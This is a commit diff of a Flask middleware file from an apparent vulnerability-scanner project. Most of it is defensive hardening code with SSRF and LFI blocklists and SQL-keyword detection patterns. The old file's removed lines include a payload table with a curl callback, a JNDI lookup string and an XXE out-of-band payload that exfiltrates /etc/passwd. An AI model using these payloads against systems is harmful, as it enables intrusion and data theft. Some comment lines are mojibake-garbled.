larxius commited on
Commit
c767cf7
·
verified ·
1 Parent(s): 20f0caf

Update backend_structured/middleware.py

Browse files
Files changed (1) hide show
  1. backend_structured/middleware.py +686 -683
backend_structured/middleware.py CHANGED
@@ -1,683 +1,686 @@
1
- import sys
2
- import os
3
- sys.path.insert(0, os.path.abspath('backend'))
4
-
5
- from bs4 import BeautifulSoup
6
- from celery import Celery
7
- from celery.schedules import crontab
8
- from collections import defaultdict
9
- from scanners.base_scanner import (
10
- active_scan_logs, add_log, get_scan_logs, parse_domain,
11
- cleanup_scan_logs, schedule_log_cleanup, emit_scan_progress
12
- )
13
- from scanners import get_pipeline, get_phases, build_scanner, apply_scan_options
14
- from utils.fuzzer_engine import ContextAwareFuzzer
15
- from cryptography import x509
16
- from cryptography.hazmat.backends import default_backend
17
- from datetime import datetime, timezone
18
- from datetime import datetime, timezone, timedelta
19
- from datetime import datetime, timezone, timezone
20
- from dotenv import load_dotenv
21
- load_dotenv()
22
-
23
- import stripe
24
- from flask import Blueprint, request, jsonify, current_app, send_from_directory
25
- from werkzeug.utils import secure_filename
26
- from flask import Blueprint, send_file, jsonify, request
27
- from flask import Flask
28
- from flask import jsonify
29
- from flask import render_template
30
- from flask import request, abort, g, Response, make_response
31
- from flask_cors import CORS
32
- from flask_limiter import Limiter
33
- from flask_limiter.util import get_remote_address
34
- from flask_socketio import SocketIO, emit, join_room, leave_room
35
- from flask_sqlalchemy import SQLAlchemy
36
- from functools import wraps
37
- from markupsafe import escape # always available with Flask
38
- from reportlab.lib import colors
39
- from reportlab.lib.pagesizes import letter
40
- from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
41
- from reportlab.pdfgen import canvas
42
- from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle, PageBreak, Image, Flowable
43
- from reportlab.graphics.shapes import Drawing
44
- from reportlab.graphics.charts.barcharts import VerticalBarChart
45
- from sqlalchemy import event
46
- from sqlalchemy import func
47
- from sqlalchemy import inspect, text
48
- from sqlalchemy import text
49
- from sqlalchemy.engine import Engine
50
- from typing import Any
51
- from typing import Any, Callable
52
- from typing import Callable
53
- from typing import Literal
54
- from urllib.parse import urljoin, urlparse
55
- from urllib.parse import urlparse
56
- import base64
57
- import bcrypt
58
- import concurrent.futures
59
- from backend.utils.email_service import (
60
- send_welcome_email,
61
- send_scan_started,
62
- send_scan_completed,
63
- send_scan_failed,
64
- send_critical_alert
65
- )
66
-
67
- import hashlib
68
- import html
69
- import io
70
- import itertools
71
- import json
72
- import jwt
73
- import math
74
- import os
75
- import re
76
- import re, time, ipaddress, os, hashlib, threading
77
- import requests
78
- import socket
79
- import sqlite3
80
- import ssl
81
- import statistics
82
- import threading
83
- import time
84
- import traceback
85
- import urllib.error
86
- import urllib.parse
87
- import urllib.request
88
- import urllib3
89
- import uuid
90
- import ipaddress
91
-
92
-
93
-
94
- from .extensions import db, celery, socketio, limiter
95
- from .models import *
96
-
97
-
98
- # --- From security_middleware.py ---
99
- """
100
- security_middleware.py - WSS Security Hardening Middleware
101
- ==========================================================
102
- Implements all 15 scan-findings remediations as Flask middleware/helpers.
103
- Apply to any Flask app via: app = apply_security_hardening(app)
104
-
105
- Fixes:
106
- FIX-1: SSTI - safe template renderer (never passes raw user input to Jinja2)
107
- FIX-2: SQL injection - parameterized query helpers + input validator
108
- FIX-4: SSRF - outbound request firewall (blocks RFC-1918 + cloud metadata)
109
- FIX-5: LFI - file parameter whitelist validator
110
- FIX-6: MFA rate limiting - sliding-window limiter (5 attempts / 15 min)
111
- FIX-7: ReDoS - safe email regex + input length limit
112
- FIX-10: Cache poisoning - X-Forwarded-Proto sanitizer
113
- FIX-11: Security headers - COOP, COEP, CORP, Referrer-Policy, Permissions-Policy
114
- FIX-14: Open redirect - referer/return_url allowlist validator
115
- FIX-15: Browser cache - no-store on authenticated/sensitive pages
116
- """
117
-
118
- # ═══════════════════════════════════════════════════════════════════
119
- # FIX-1: SSTI - Safe Template Renderer
120
- # ═══════════════════════════════════════════════════════════════════
121
-
122
- def safe_render(template_name: str, **context) -> str:
123
- """
124
- SSTI fix: only pass pre-defined context variables to templates.
125
- NEVER use render_template_string() with user input.
126
-
127
- Usage:
128
- # WRONG (vulnerable):
129
- render_template_string("Hello {{ name }}", name=request.args["name"])
130
-
131
- # RIGHT (safe):
132
- return safe_render("hello.html", name=request.args.get("name", ""))
133
- """
134
- # Sanitize all string context values - escape HTML to prevent XSS
135
- safe_context = {}
136
- for k, v in context.items():
137
- if isinstance(v, str):
138
- # Strip Jinja2 template syntax from user-supplied values
139
- v = re.sub(r'\{%.*?%\}|\{\{.*?\}\}|\{#.*?#\}', '', v, flags=re.DOTALL)
140
- v = str(escape(v))
141
- safe_context[k] = v
142
- return render_template(template_name, **safe_context)
143
-
144
-
145
- def sanitize_template_input(value: str) -> str:
146
- """
147
- Strip Jinja2/Twig/SSTI syntax from any user-supplied string.
148
- Call on every user input before passing into any templating context.
149
- """
150
- # Remove {{ }}, {% %}, {# #} - all template expression types
151
- cleaned = re.sub(r'\{[{%#].*?[}%#]\}', '', value, flags=re.DOTALL)
152
- # Also strip raw < > to prevent HTML injection
153
- return cleaned.strip()
154
-
155
-
156
- # ═══════════════════════════════════════════════════════════════════
157
- # FIX-2: SQL Injection - Safe Query Helpers
158
- # ═══════════════════════════════════════════════════════════════════
159
-
160
- class SafeQueryBuilder:
161
- """
162
- Parameterized query helper. Never concatenate user input into SQL.
163
-
164
- Usage with SQLAlchemy:
165
- sqb = SafeQueryBuilder()
166
- results = sqb.execute(db.session, "SELECT * FROM users WHERE id = :id", {"id": user_id})
167
-
168
- Usage with raw psycopg2/sqlite3:
169
- cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))
170
- # NEVER: f"SELECT * FROM products WHERE id = {product_id}"
171
- """
172
- # Blocked SQL keywords in user input (defense-in-depth)
173
- _BLOCKED_PATTERNS = re.compile(
174
- r"(--|\bOR\b|\bAND\b|\bUNION\b|\bSELECT\b|\bINSERT\b|\bUPDATE\b"
175
- r"|\bDROP\b|\bDELETE\b|\bTRUNCATE\b|\bEXEC\b|\bXP_\b|\bSLEEP\b|\bWAITFOR\b"
176
- r"|;|\bINFORMATION_SCHEMA\b|\bSYSOBJECTS\b|\bPG_SLEEP\b|/\*)",
177
- re.IGNORECASE,
178
- )
179
-
180
- @classmethod
181
- def validate_id(cls, value, name: str = "id") -> int:
182
- """Validate that a URL/form ID parameter is a plain integer. Raises ValueError otherwise."""
183
- try:
184
- int_val = int(str(value).strip())
185
- if int_val < 0:
186
- raise ValueError(f"{name} must be non-negative")
187
- return int_val
188
- except (ValueError, TypeError):
189
- raise ValueError(f"Invalid {name}: must be a positive integer, got {value!r}")
190
-
191
- @classmethod
192
- def validate_string(cls, value: str, max_len: int = 255, name: str = "field") -> str:
193
- """Validate a string parameter doesn't contain SQL injection patterns."""
194
- if not isinstance(value, str):
195
- raise ValueError(f"{name} must be a string")
196
- if len(value) > max_len:
197
- raise ValueError(f"{name} exceeds max length {max_len}")
198
- if cls._BLOCKED_PATTERNS.search(value):
199
- raise ValueError(f"Invalid characters in {name}")
200
- return value.strip()
201
-
202
- @staticmethod
203
- def execute(session, query: str, params: dict):
204
- """Execute a parameterized SQLAlchemy query safely."""
205
- return session.execute(text(query), params)
206
-
207
-
208
- # ═══════════════════════════════════════════════════════════════════
209
- # FIX-4: SSRF - Outbound Request Firewall
210
- # ═══════════════════════════════════════════════════════════════════
211
-
212
- _BLOCKED_SSRF_NETWORKS = [
213
- ipaddress.ip_network("10.0.0.0/8"),
214
- ipaddress.ip_network("172.16.0.0/12"),
215
- ipaddress.ip_network("192.168.0.0/16"),
216
- ipaddress.ip_network("127.0.0.0/8"),
217
- ipaddress.ip_network("169.254.0.0/16"), # AWS/Azure IMDS - CRITICAL
218
- ipaddress.ip_network("100.64.0.0/10"), # Shared address space
219
- ipaddress.ip_network("::1/128"), # IPv6 loopback
220
- ipaddress.ip_network("fc00::/7"), # IPv6 private
221
- ]
222
-
223
- _BLOCKED_SSRF_HOSTNAMES = frozenset({
224
- "localhost", "metadata.google.internal", "kubernetes.default.svc",
225
- "kubernetes.default", "169.254.169.254", "100.100.100.200",
226
- })
227
-
228
- _BLOCKED_SSRF_SCHEMES = frozenset({"file", "gopher", "dict", "ftp", "sftp", "ldap", "ldaps"})
229
-
230
-
231
- def validate_outbound_url(url: str) -> str:
232
- """
233
- SSRF firewall - validate a user-supplied URL before fetching it.
234
- Raises ValueError for blocked targets.
235
-
236
- Usage:
237
- url = request.args.get("url", "")
238
- try:
239
- safe_url = validate_outbound_url(url)
240
- except ValueError as e:
241
- abort(400, str(e))
242
- response = requests.get(safe_url, timeout=5)
243
- """
244
- try:
245
- parsed = urlparse(url)
246
- except Exception:
247
- raise ValueError("Invalid URL")
248
-
249
- if parsed.scheme.lower() in _BLOCKED_SSRF_SCHEMES:
250
- raise ValueError(f"Blocked URL scheme: {parsed.scheme}")
251
-
252
- if parsed.scheme.lower() not in ("http", "https"):
253
- raise ValueError("Only http/https URLs are permitted")
254
-
255
- hostname = (parsed.hostname or "").lower()
256
- if not hostname:
257
- raise ValueError("URL must have a hostname")
258
-
259
- if hostname in _BLOCKED_SSRF_HOSTNAMES:
260
- raise ValueError(f"Access to {hostname} is not permitted")
261
-
262
- # Resolve hostname and check if it resolves to a private IP
263
- try:
264
- addrs = {info[4][0] for info in socket.getaddrinfo(hostname, None)}
265
- for addr in addrs:
266
- try:
267
- ip_obj = ipaddress.ip_address(addr)
268
- for net in _BLOCKED_SSRF_NETWORKS:
269
- if ip_obj in net:
270
- raise ValueError(f"Resolved IP {addr} is in a private/reserved range")
271
- except (ipaddress.AddressValueError, ValueError):
272
- raise
273
- except socket.gaierror:
274
- raise ValueError(f"Cannot resolve hostname: {hostname}")
275
-
276
- return url
277
-
278
-
279
- # ═══════════════════════════════════════════════════════════════════
280
- # FIX-5: LFI - File Parameter Whitelist Validator
281
- # ═══════════════════════════════════════════════════════════════════
282
-
283
- _LFI_PATTERNS = re.compile(
284
- r'(\.\.[\\/]|%2e%2e[\\/]|%252e%252e[\\/]|%c0%af|%c1%9c'
285
- r'|\/etc\/|\/proc\/|\/sys\/|php://|file://|expect://|zip://)',
286
- re.IGNORECASE,
287
- )
288
-
289
- def validate_file_param(
290
- filename: str,
291
- allowed_extensions: set | None = None,
292
- base_dir: str | None = None,
293
- ) -> str:
294
- """
295
- LFI fix - validate a filename parameter.
296
- Raises ValueError if path traversal or forbidden patterns detected.
297
-
298
- Usage:
299
- fname = request.args.get("file", "")
300
- try:
301
- safe_name = validate_file_param(fname, allowed_extensions={".pdf", ".png"}, base_dir="/var/app/uploads")
302
- except ValueError:
303
- abort(400, "Invalid file parameter")
304
- """
305
- if not filename:
306
- raise ValueError("File parameter is required")
307
-
308
- if _LFI_PATTERNS.search(filename):
309
- raise ValueError("Path traversal detected")
310
-
311
- # Strip any directory components - only allow base filename
312
- basename = os.path.basename(filename)
313
- if basename != filename:
314
- raise ValueError("Directory separators not allowed in file parameter")
315
-
316
- if allowed_extensions:
317
- ext = os.path.splitext(basename)[1].lower()
318
- if ext not in allowed_extensions:
319
- raise ValueError(f"File extension {ext!r} not allowed")
320
-
321
- if base_dir:
322
- full_path = os.path.realpath(os.path.join(base_dir, basename))
323
- if not full_path.startswith(os.path.realpath(base_dir)):
324
- raise ValueError("Path traversal detected via symlink")
325
-
326
- return basename
327
-
328
-
329
- # ═══════════════════════════════════════════════════════════════════
330
- # FIX-6: MFA Rate Limiting - Sliding Window (5 attempts / 15 min)
331
- # ═══════════════════════════════════════════════════════════════════
332
-
333
- class SlidingWindowRateLimiter:
334
- """
335
- In-memory sliding window rate limiter for MFA/OTP endpoints.
336
-
337
- Usage:
338
- _otp_limiter = SlidingWindowRateLimiter(max_attempts=5, window_seconds=900)
339
-
340
- @app.route("/api/mfa/verify", methods=["POST"])
341
- def verify_mfa():
342
- key = f"mfa:{current_user.id}"
343
- if not _otp_limiter.allow(key):
344
- return jsonify({"error": "too_many_attempts"}), 429
345
- ...
346
- """
347
- def __init__(self, max_attempts: int = 5, window_seconds: int = 900):
348
- self.max_attempts = max_attempts
349
- self.window_seconds = window_seconds
350
- self._store: dict[str, list[float]] = defaultdict(list)
351
- self._lock = threading.Lock()
352
-
353
- def allow(self, key: str) -> bool:
354
- """Returns True if the request is within the rate limit, False if blocked."""
355
- now = time.monotonic()
356
- cutoff = now - self.window_seconds
357
- with self._lock:
358
- timestamps = self._store[key]
359
- # Prune old timestamps outside the window
360
- self._store[key] = [t for t in timestamps if t > cutoff]
361
- if len(self._store[key]) >= self.max_attempts:
362
- return False
363
- self._store[key].append(now)
364
- return True
365
-
366
- def reset(self, key: str) -> None:
367
- """Reset the counter for a key (call after successful auth)."""
368
- with self._lock:
369
- self._store.pop(key, None)
370
-
371
- def retry_after(self, key: str) -> int:
372
- """Return seconds until the oldest attempt falls outside the window."""
373
- now = time.monotonic()
374
- cutoff = now - self.window_seconds
375
- with self._lock:
376
- timestamps = [t for t in self._store.get(key, []) if t > cutoff]
377
- if not timestamps:
378
- return 0
379
- return int(self.window_seconds - (now - min(timestamps))) + 1
380
-
381
-
382
- # Singleton for MFA endpoints
383
- _mfa_limiter = SlidingWindowRateLimiter(max_attempts=5, window_seconds=900)
384
-
385
-
386
- def mfa_rate_limit(f):
387
- """
388
- Flask decorator "- apply MFA rate limiting.
389
- Uses IP + user identifier as the key.
390
-
391
- Usage:
392
- @app.route("/api/mfa/verify", methods=["POST"])
393
- @mfa_rate_limit
394
- def verify_mfa():
395
- ...
396
- """
397
- @wraps(f)
398
- def wrapper(*args, **kwargs):
399
- # Build a stable key from IP + any user identifier in body
400
- ip = request.headers.get("X-Forwarded-For", request.remote_addr or "unknown").split(",")[0].strip()
401
- body = request.get_json(silent=True) or {}
402
- uid = str(body.get("user_id", body.get("email", body.get("username", "anon"))))
403
- key = hashlib.sha256(f"{ip}:{uid}".encode()).hexdigest()[:32]
404
-
405
- if not _mfa_limiter.allow(key):
406
- retry = _mfa_limiter.retry_after(key)
407
- resp = jsonify({"error": "too_many_attempts", "retry_after": retry})
408
- resp.status_code = 429
409
- resp.headers["Retry-After"] = str(retry)
410
- return resp
411
- return f(*args, **kwargs)
412
- return wrapper
413
-
414
-
415
- # ═══════════════════════════════════════════════════════════════════
416
- # FIX-7: ReDoS - Safe Email Validator (RE2-compatible, linear time)
417
- # ═══════════════════════════════════════════════════════════════════
418
-
419
- # RFC 5321 simplified - NO nested quantifiers, linear time O(n)
420
- _EMAIL_SAFE_RE = re.compile(
421
- r'^[a-zA-Z0-9][a-zA-Z0-9._+\-]{0,62}@[a-zA-Z0-9][a-zA-Z0-9.\-]{0,253}[a-zA-Z0-9]\.[a-zA-Z]{2,24}$'
422
- )
423
- MAX_EMAIL_LENGTH = 254 # RFC 5321
424
-
425
-
426
- def validate_email_safe(email: str) -> str:
427
- """
428
- ReDoS-safe email validator.
429
- - Hard length cap BEFORE regex (prevents catastrophic backtracking)
430
- - Uses a linear-time RE2-compatible pattern (no nested quantifiers)
431
-
432
- Usage:
433
- try:
434
- email = validate_email_safe(request.form["email"])
435
- except ValueError:
436
- abort(400, "Invalid email address")
437
- """
438
- if not isinstance(email, str):
439
- raise ValueError("Email must be a string")
440
- email = email.strip()
441
- # CRITICAL: length check BEFORE regex - this alone prevents most ReDoS
442
- if len(email) > MAX_EMAIL_LENGTH:
443
- raise ValueError(f"Email too long (max {MAX_EMAIL_LENGTH} characters)")
444
- if not _EMAIL_SAFE_RE.match(email):
445
- raise ValueError("Invalid email format")
446
- return email.lower()
447
-
448
-
449
- # ═══════════════════════════════════════════════════════════════════
450
- # FIX-10: Cache Poisoning - X-Forwarded-Proto Sanitizer
451
- # ═══════════════════════════════════════════════════════════════════
452
-
453
- _SAFE_PROTO_RE = re.compile(r'^(https?|wss?)$', re.IGNORECASE)
454
-
455
-
456
- def get_safe_scheme() -> str:
457
- """
458
- Cache poisoning fix: validate X-Forwarded-Proto before trusting it.
459
- Only accept 'http' or 'https' - reject all other values.
460
-
461
- Usage (in Flask before_request or ProxyFix replacement):
462
- scheme = get_safe_scheme()
463
- if scheme == "https":
464
- do_secure_thing()
465
- """
466
- proto = request.headers.get("X-Forwarded-Proto", "")
467
- if proto and _SAFE_PROTO_RE.match(proto):
468
- return proto.lower()
469
- # Fall back to the actual connection scheme
470
- return request.scheme
471
-
472
-
473
- class SafeProxyFix:
474
- """
475
- Drop-in replacement for Werkzeug's ProxyFix that validates
476
- X-Forwarded-Proto before trusting it (prevents cache poisoning).
477
-
478
- Usage:
479
- app.wsgi_app = SafeProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=0)
480
- """
481
- def __init__(self, app, x_for: int = 1, x_proto: int = 1, x_host: int = 0):
482
- self.app = app
483
- self.x_for = x_for
484
- self.x_proto = x_proto
485
- self.x_host = x_host
486
-
487
- def __call__(self, environ, start_response):
488
- if self.x_proto:
489
- proto = environ.get("HTTP_X_FORWARDED_PROTO", "")
490
- if _SAFE_PROTO_RE.match(proto):
491
- environ["wsgi.url_scheme"] = proto.lower()
492
- else:
493
- # Strip invalid/poisoned proto header
494
- environ.pop("HTTP_X_FORWARDED_PROTO", None)
495
-
496
- if self.x_for:
497
- forwarded_for = environ.get("HTTP_X_FORWARDED_FOR", "")
498
- if forwarded_for:
499
- # Only trust the first IP (leftmost = original client)
500
- first_ip = forwarded_for.split(",")[0].strip()
501
- try:
502
- ipaddress.ip_address(first_ip)
503
- environ["REMOTE_ADDR"] = first_ip
504
- except ValueError:
505
- pass # Invalid IP - keep original REMOTE_ADDR
506
-
507
- return self.app(environ, start_response)
508
-
509
-
510
- # ═══════════════════════════════════════════════════════════════════
511
- # FIX-11: Security Headers - Full Suite
512
- # ════â��â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•â•
513
-
514
- _SECURITY_HEADERS = {
515
- # Prevent clickjacking
516
- "X-Frame-Options": "SAMEORIGIN",
517
- # Prevent MIME sniffing
518
- "X-Content-Type-Options": "nosniff",
519
- # HSTS - 2 years, include subdomains, preload
520
- "Strict-Transport-Security": "max-age=63072000; includeSubDomains; preload",
521
- # XSS filter (legacy browsers)
522
- "X-XSS-Protection": "1; mode=block",
523
- # Referrer-Policy - don't leak URL to third parties
524
- "Referrer-Policy": "strict-origin-when-cross-origin",
525
- # Permissions-Policy - disable unneeded browser APIs
526
- "Permissions-Policy": (
527
- "camera=(), microphone=(), geolocation=(), payment=(), "
528
- "usb=(), accelerometer=(), gyroscope=(), magnetometer=()"
529
- ),
530
- # COOP - prevent cross-origin window access (XS-Leaks)
531
- "Cross-Origin-Opener-Policy": "same-origin",
532
- # COEP - require COOP isolation
533
- "Cross-Origin-Embedder-Policy": "require-corp",
534
- # CORP - prevent spectre-style cross-origin reads
535
- "Cross-Origin-Resource-Policy": "same-origin",
536
- # Certificate Transparency
537
- "Expect-CT": "max-age=86400, enforce",
538
- }
539
-
540
- def add_security_headers(response: Response) -> Response:
541
- """
542
- Flask after_request hook - adds all missing security headers.
543
-
544
- Usage:
545
- app.after_request(add_security_headers)
546
- """
547
- for header, value in _SECURITY_HEADERS.items():
548
- if header not in response.headers:
549
- response.headers[header] = value
550
- # Remove information-disclosure headers
551
- response.headers.pop("Server", None)
552
- response.headers.pop("X-Powered-By", None)
553
- return response
554
-
555
-
556
- # ═══════════════════════════════════════════════════════════════════
557
- # FIX-14: Open Redirect - Referer/return_url Allowlist
558
- # ═══════════════════════════════════════════════════════════════════
559
-
560
- def validate_redirect_url(
561
- url: str,
562
- allowed_hosts: set | None = None,
563
- default_url: str = "/",
564
- ) -> str:
565
- """
566
- Open redirect fix - validate a redirect URL against an allowlist.
567
-
568
- Usage:
569
- next_url = request.args.get("next", "/")
570
- safe_url = validate_redirect_url(next_url, allowed_hosts={"larshield.com", "www.larshield.com"})
571
- return redirect(safe_url)
572
- """
573
- if not url or not url.strip():
574
- return default_url
575
-
576
- url = url.strip()
577
-
578
- # Allow relative URLs (no host = safe)
579
- parsed = urlparse(url)
580
- if not parsed.scheme and not parsed.netloc:
581
- # Ensure it starts with / to prevent protocol-relative URLs
582
- if url.startswith("/") and not url.startswith("//"):
583
- return url
584
- return default_url
585
-
586
- # For absolute URLs, validate host
587
- host = parsed.netloc.lower().split(":")[0] # strip port
588
- if allowed_hosts and host in allowed_hosts:
589
- return url
590
-
591
- # Unknown host - redirect to safe default
592
- return default_url
593
-
594
-
595
- # ═══════════════════════════════════════════════════════════════════
596
- # FIX-15: Browser Cache - No-Store on Sensitive Pages
597
- # ═══════════════════════════════════════════════════════��•â•â•â•â•â•â•â•â•â•â•â•
598
-
599
- _SENSITIVE_PATH_PATTERNS = re.compile(
600
- r'^/(api|account|profile|dashboard|admin|settings|payment|checkout|invoice|report)',
601
- re.IGNORECASE,
602
- )
603
-
604
-
605
- def no_cache_sensitive(response: Response) -> Response:
606
- """
607
- Flask after_request hook - prevents browsers from caching
608
- authenticated/sensitive pages.
609
-
610
- Usage:
611
- app.after_request(no_cache_sensitive)
612
- """
613
- path = request.path
614
- if _SENSITIVE_PATH_PATTERNS.match(path) or request.method in ("POST", "PUT", "PATCH", "DELETE"):
615
- response.headers["Cache-Control"] = "no-store, no-cache, must-revalidate, private, max-age=0"
616
- response.headers["Pragma"] = "no-cache"
617
- response.headers["Expires"] = "0"
618
- return response
619
-
620
-
621
- # ═══════════════════════════════════════════════════════════════════
622
- # Master installer - apply all fixes to Flask app
623
- # ═══════════════════════════════════════════════════════════════════
624
-
625
- def apply_security_hardening(app, allowed_redirect_hosts: set | None = None):
626
- """
627
- Apply all security fixes to a Flask application in one call.
628
-
629
- Usage:
630
- app = Flask(__name__)
631
- app = apply_security_hardening(app, allowed_redirect_hosts={"larshield.com"})
632
- """
633
- # FIX-10: Safe proxy fix (X-Forwarded-Proto validation)
634
- app.wsgi_app = SafeProxyFix(app.wsgi_app, x_for=1, x_proto=1, x_host=0)
635
-
636
- # FIX-11 + FIX-15: Security headers + cache control
637
- app.after_request(add_security_headers)
638
- app.after_request(no_cache_sensitive)
639
-
640
- app.logger.info("[SecurityHardening] Applied: headers, cache-control, proxy-fix")
641
- return app
642
-
643
-
644
- # --- From callback.py ---
645
-
646
- CALLBACK_BASE = os.environ.get(
647
- "WSS_CALLBACK_BASE",
648
- "https://callback.internal/receive",
649
- )
650
-
651
-
652
- def generate_callback_id() -> str:
653
- return uuid.uuid4().hex[:16]
654
-
655
-
656
- def build_callback_url(path: str = "/xss") -> str:
657
- cid = generate_callback_id()
658
- return f"{CALLBACK_BASE.rstrip('/')}/{cid}{path}"
659
-
660
-
661
- def build_oob_domain(subdomain: str | None = None) -> str:
662
- base = CALLBACK_BASE.replace("https://", "").replace("http://", "").split("/")[0]
663
- sub = subdomain or generate_callback_id()
664
- return f"{sub}.{base}"
665
-
666
-
667
- def probe_callback(callback_url: str, timeout: int = 3) -> bool:
668
- try:
669
- req = urllib.request.Request(callback_url, method="GET")
670
- with urllib.request.urlopen(req, timeout=timeout) as resp:
671
- return resp.status == 200
672
- except Exception:
673
- return False
674
-
675
-
676
- SYNTHETIC_CALLBACKS = {
677
- "dns": "nslookup {oob}",
678
- "http": "curl {callback}",
679
- "ldap": "ldap://{oob}/a",
680
- "jndi": "${jndi:ldap://{oob}/a}",
681
- "xxe_oob": "<!ENTITY % file SYSTEM \"file:///etc/passwd\"><!ENTITY % oob \"<!ENTITY exfil SYSTEM '{callback}?data=%file;'>\">%oob;",
682
- }
683
-
 
 
 
 
1
+ import sys
2
+ import os
3
+ sys.path.insert(0, os.path.abspath('backend'))
4
+
5
+ from bs4 import BeautifulSoup
6
+ from celery import Celery
7
+ from celery.schedules import crontab
8
+ from collections import defaultdict
9
+ from scanners.base_scanner import (
10
+ active_scan_logs, add_log, get_scan_logs, parse_domain,
11
+ cleanup_scan_logs, schedule_log_cleanup, emit_scan_progress
12
+ )
13
+ from scanners import get_pipeline, get_phases, build_scanner, apply_scan_options
14
+ try:
15
+ from backend.utils.fuzzer_engine import ContextAwareFuzzer
16
+ except ImportError:
17
+ from utils.fuzzer_engine import ContextAwareFuzzer
18
+ from cryptography import x509
19
+ from cryptography.hazmat.backends import default_backend
20
+ from datetime import datetime, timezone
21
+ from datetime import datetime, timezone, timedelta
22
+ from datetime import datetime, timezone, timezone
23
+ from dotenv import load_dotenv
24
+ load_dotenv()
25
+
26
+ import stripe
27
+ from flask import Blueprint, request, jsonify, current_app, send_from_directory
28
+ from werkzeug.utils import secure_filename
29
+ from flask import Blueprint, send_file, jsonify, request
30
+ from flask import Flask
31
+ from flask import jsonify
32
+ from flask import render_template
33
+ from flask import request, abort, g, Response, make_response
34
+ from flask_cors import CORS
35
+ from flask_limiter import Limiter
36
+ from flask_limiter.util import get_remote_address
37
+ from flask_socketio import SocketIO, emit, join_room, leave_room
38
+ from flask_sqlalchemy import SQLAlchemy
39
+ from functools import wraps
40
+ from markupsafe import escape # always available with Flask
41
+ from reportlab.lib import colors
42
+ from reportlab.lib.pagesizes import letter
43
+ from reportlab.lib.styles import getSampleStyleSheet, ParagraphStyle
44
+ from reportlab.pdfgen import canvas
45
+ from reportlab.platypus import SimpleDocTemplate, Paragraph, Spacer, Table, TableStyle, PageBreak, Image, Flowable
46
+ from reportlab.graphics.shapes import Drawing
47
+ from reportlab.graphics.charts.barcharts import VerticalBarChart
48
+ from sqlalchemy import event
49
+ from sqlalchemy import func
50
+ from sqlalchemy import inspect, text
51
+ from sqlalchemy import text
52
+ from sqlalchemy.engine import Engine
53
+ from typing import Any
54
+ from typing import Any, Callable
55
+ from typing import Callable
56
+ from typing import Literal
57
+ from urllib.parse import urljoin, urlparse
58
+ from urllib.parse import urlparse
59
+ import base64
60
+ import bcrypt
61
+ import concurrent.futures
62
+ from backend.utils.email_service import (
63
+ send_welcome_email,
64
+ send_scan_started,
65
+ send_scan_completed,
66
+ send_scan_failed,
67
+ send_critical_alert
68
+ )
69
+
70
+ import hashlib
71
+ import html
72
+ import io
73
+ import itertools
74
+ import json
75
+ import jwt
76
+ import math
77
+ import os
78
+ import re
79
+ import re, time, ipaddress, os, hashlib, threading
80
+ import requests
81
+ import socket
82
+ import sqlite3
83
+ import ssl
84
+ import statistics
85
+ import threading
86
+ import time
87
+ import traceback
88
+ import urllib.error
89
+ import urllib.parse
90
+ import urllib.request
91
+ import urllib3
92
+ import uuid
93
+ import ipaddress
94
+
95
+
96
+
97
+ from .extensions import db, celery, socketio, limiter
98
+ from .models import *
99
+
100
+
101
+ # --- From security_middleware.py ---
102
+ """
103
+ security_middleware.py - WSS Security Hardening Middleware
104
+ ==========================================================
105
+ Implements all 15 scan-findings remediations as Flask middleware/helpers.
106
+ Apply to any Flask app via: app = apply_security_hardening(app)
107
+
108
+ Fixes:
109
+ FIX-1: SSTI - safe template renderer (never passes raw user input to Jinja2)
110
+ FIX-2: SQL injection - parameterized query helpers + input validator
111
+ FIX-4: SSRF - outbound request firewall (blocks RFC-1918 + cloud metadata)
112
+ FIX-5: LFI - file parameter whitelist validator
113
+ FIX-6: MFA rate limiting - sliding-window limiter (5 attempts / 15 min)
114
+ FIX-7: ReDoS - safe email regex + input length limit
115
+ FIX-10: Cache poisoning - X-Forwarded-Proto sanitizer
116
+ FIX-11: Security headers - COOP, COEP, CORP, Referrer-Policy, Permissions-Policy
117
+ FIX-14: Open redirect - referer/return_url allowlist validator
118
+ FIX-15: Browser cache - no-store on authenticated/sensitive pages
119
+ """
120
+
121
+ # ═══════════════════════════════════════════════════════════════════
122
+ # FIX-1: SSTI - Safe Template Renderer
123
+ # ═══════════════════════════════════════════════════════════════════
124
+
125
+ def safe_render(template_name: str, **context) -> str:
126
+ """
127
+ SSTI fix: only pass pre-defined context variables to templates.
128
+ NEVER use render_template_string() with user input.
129
+
130
+ Usage:
131
+ # WRONG (vulnerable):
132
+ render_template_string("Hello {{ name }}", name=request.args["name"])
133
+
134
+ # RIGHT (safe):
135
+ return safe_render("hello.html", name=request.args.get("name", ""))
136
+ """
137
+ # Sanitize all string context values - escape HTML to prevent XSS
138
+ safe_context = {}
139
+ for k, v in context.items():
140
+ if isinstance(v, str):
141
+ # Strip Jinja2 template syntax from user-supplied values
142
+ v = re.sub(r'\{%.*?%\}|\{\{.*?\}\}|\{#.*?#\}', '', v, flags=re.DOTALL)
143
+ v = str(escape(v))
144
+ safe_context[k] = v
145
+ return render_template(template_name, **safe_context)
146
+
147
+
148
+ def sanitize_template_input(value: str) -> str:
149
+ """
150
+ Strip Jinja2/Twig/SSTI syntax from any user-supplied string.
151
+ Call on every user input before passing into any templating context.
152
+ """
153
+ # Remove {{ }}, {% %}, {# #} - all template expression types
154
+ cleaned = re.sub(r'\{[{%#].*?[}%#]\}', '', value, flags=re.DOTALL)
155
+ # Also strip raw < > to prevent HTML injection
156
+ return cleaned.strip()
157
+
158
+
159
+ # ═══════════════════════════════════════════════════════════════════
160
+ # FIX-2: SQL Injection - Safe Query Helpers
161
+ # ═══════════════════════════════════════════════════════════════════
162
+
163
+ class SafeQueryBuilder:
164
+ """
165
+ Parameterized query helper. Never concatenate user input into SQL.
166
+
167
+ Usage with SQLAlchemy:
168
+ sqb = SafeQueryBuilder()
169
+ results = sqb.execute(db.session, "SELECT * FROM users WHERE id = :id", {"id": user_id})
170
+
171
+ Usage with raw psycopg2/sqlite3:
172
+ cursor.execute("SELECT * FROM products WHERE id = %s", (product_id,))
173
+ # NEVER: f"SELECT * FROM products WHERE id = {product_id}"
174
+ """
175
+ # Blocked SQL keywords in user input (defense-in-depth)
